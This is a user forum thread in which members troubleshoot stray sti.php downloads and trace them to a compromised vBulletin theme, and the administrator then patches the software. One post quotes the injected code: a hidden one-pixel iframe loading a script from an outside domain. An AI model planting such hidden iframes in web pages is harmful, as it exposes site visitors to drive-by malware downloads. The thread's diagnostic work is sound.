sti-x.php downloading when I load a Forum page

Alan_uk

Alan_uk

A2OC Donor
Is it just me but when I load any a2oc.net page my Firefox browser downloads a sti-x.php file where x is an incrementing number. Causes a new blank browser window to open

Using FF 7.0.1 under Win XP SP3
 
No its not just you. I have the same thing and I'm using Firefox on a iMac. Not happened before?

Nigel
 
I don't get this and I'm running 7.0.1 on Win 7 - but then I am running ABP and NoScript, even if a2oc is trusted. Any idea which domain it's coming from?

Bret

EDITh says: I bet it's an advert... I will run firebug and turn ABP off, hold on a sec....
 
It's in the header after the facebook icon

<div style="display:none"><iframe src="http://hyundai-solaris.info/vb/sti.php" width="1" height="1"></iframe></div>

IE, Opera and Chrome dont try to down loaded it. In FF it opens a blank Notepad window

Ben, any idea why this has started happening?
 
This is getting frustrating - it will be a shame to stop coming to this forum :(

A google search on "http://hyundai-solaris.info/vb/sti.php"
through up this forum with the same problem back in Sept 11 http://www.homebrewchatter.com/board/showthread.php?t=14393&page=2
They are also using vBulletin® though a later Version 4.1.7

Turns out it seems that many themes had been infected (hacked)
http://www.homebrewchatter.com/board/showthread.php?t=14393&page=8

Hope this helps to find the problem. Meanwhile I'm going to try to change themes

Edit: found there was only one other theme: the mobile one. Tried it - was not pleasant for a PC - so switched back and now my problem has gone away it seems :) - No it hasn't (see below)

P.S, I had earlier cleared the cache and cookies and that made no difference. Also upgraded to Firefox 8 and still the same

It looks like it's an plugin or extension. Will have to work though each one to catch the culprit ............................
 
Last edited:
Not sure if this is related but the last week or so I have found when using this site on my pc I have to click the back button twice to go back one page? I don't have this problem on my iPad using either the mobile theme or normal. Cheers mike
 
Hi,

Thanks for spotting this - I use Safari so hadn't noticed it.

I've updated the forum software to fix this vulnerability. It's worth giving your PCs a malware scan for good measure.

Ben
 
Last edited:
You must log in or register to reply here.
Back
Top